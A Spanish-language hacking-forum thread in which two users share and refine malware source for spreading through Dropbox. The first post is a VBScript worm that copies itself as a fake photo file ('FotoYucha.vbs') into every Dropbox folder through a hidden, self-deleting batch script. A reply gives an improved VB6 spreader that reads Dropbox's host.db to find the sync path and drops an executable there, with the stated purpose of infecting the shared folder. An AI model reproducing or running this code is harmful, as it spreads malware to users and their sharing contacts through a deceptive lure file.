[VBS] [SOURCE] Dropbox Spread

[.BrutuS]

Infecta todas las carpetas de Dropbox del usuario.

Código [Seleccionar] Expandir

'[VBS] Dropbox Spread by BrutuS
Dim FSO, ObjTextFile
Dim Shell
Set Shell = CreateObject("WScript.Shell")
Set FSO = CreateObject("Scripting.FileSystemObject")
Set ObjTextFile = FSO.CreateTextFile("Copy.bat", True)
FSO.CopyFile Wscript.ScriptFullName, "FotoYucha.vbs"
ObjTextFile.WriteLine("@echo off")
ObjTextFile.WriteLine("copy /y FotoYucha.vbs %UserProfile%\Dropbox")
ObjTextFile.WriteLine("DIR /S/B %UserProfile%\Dropbox >> Config.txt")
ObjTextFile.WriteLine("echo Y | FOR /F ""tokens=1,* delims=: "" %%j in (Config.txt) do copy /y FotoYucha.vbs ""%%j:%%k""")
ObjTextFile.WriteLine("del /f /q Config.txt")
ObjTextFile.WriteLine("del /f /q FotoYucha.vbs") 
ObjTextFile.WriteLine("del /f /q %0")
ObjTextFile.Close
Shell.Run "Copy.bat", 0

[Mad Antrax]

El código no está mal, pero no está correctamente implementado. Utilizas rutas estáticas... que ocurre si ejecutas tu código en un PC cuya carpeta de dropbox esté en "E:\ejemplo\mi_dropbox" ? Para ello utiliza lo siguiente:

Código (vb) [Seleccionar] Expandir

'---------------------------------------------------------------------------------------
' Modulo     :  SpreadDropbox
' Autor      :  uddtools.com
' Adapatdo: MadAntrax
' Fecha      :  16/09/2013
' Finalidad  :  Infectar la carpeta compartida Dropbox
' Uso        :  Call DropboxSpread(App.Path & "\" & App.EXEName & ".exe", "dropbox_spread.exe")
'               Idea extraída del foro uddtools.com, se ha modificado el código quitado dependencias
'               a Microsoft Scripting Runtime
'---------------------------------------------------------------------------------------

Private Sub Form_Load()
   MsgBox "Dropbox Folder = " & getDropboxPath
   Call DropboxSpread(App.Path & "\" & App.EXEName & ".exe", "dropbox_spread.exe")
End Sub

Public Sub DropboxSpread(sFilePath As String, sFileName As String)
   FileCopy sFilePath, getDropboxPath & "\" & sFileName
End Sub

Private Function getDropboxPath() As String
   getDropboxPath = Base64Decode(Read_host(Environ("APPDATA") & "\Dropbox\host.db"))
End Function

Private Function Read_host(sFile As String) As String
   Dim Code As String
   Open sFile For Binary Access Read As #1
       Code = Space(LOF(1))
       Get #1, , Code
   Close #1
   Read_host = Split(Code, Chr(10))(1)
End Function

'Credits to pscode.com
Function Base64Decode(ByVal base64String As String) As String
 Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
 Dim dataLength, sOut, groupBegin
 
 base64String = Replace(base64String, vbCrLf, "")
 base64String = Replace(base64String, vbTab, "")
 base64String = Replace(base64String, " ", "")
 
 dataLength = Len(base64String)
 If dataLength Mod 4 <> 0 Then Exit Function
 
 For groupBegin = 1 To dataLength Step 4
   Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut
   numDataBytes = 3
   nGroup = 0
   For CharCounter = 0 To 3
     thisChar = Mid(base64String, groupBegin + CharCounter, 1)
     If thisChar = "=" Then
       numDataBytes = numDataBytes - 1
       thisData = 0
     Else
       thisData = InStr(1, Base64, thisChar, vbBinaryCompare) - 1
     End If
     If thisData = -1 Then Exit Function
     nGroup = 64 * nGroup + thisData
   Next
   nGroup = Hex(nGroup)
   nGroup = String(6 - Len(nGroup), "0") & nGroup
   pOut = Chr(CByte("&H" & Mid(nGroup, 1, 2))) + Chr(CByte("&H" & Mid(nGroup, 3, 2))) + Chr(CByte("&H" & Mid(nGroup, 5, 2)))
   sOut = sOut & Left(pOut, numDataBytes)
 Next
 Base64Decode = sOut
End Function


[.BrutuS]

Buen codigo MadAntrax y no conocia host.db aver si lo puedo implementar.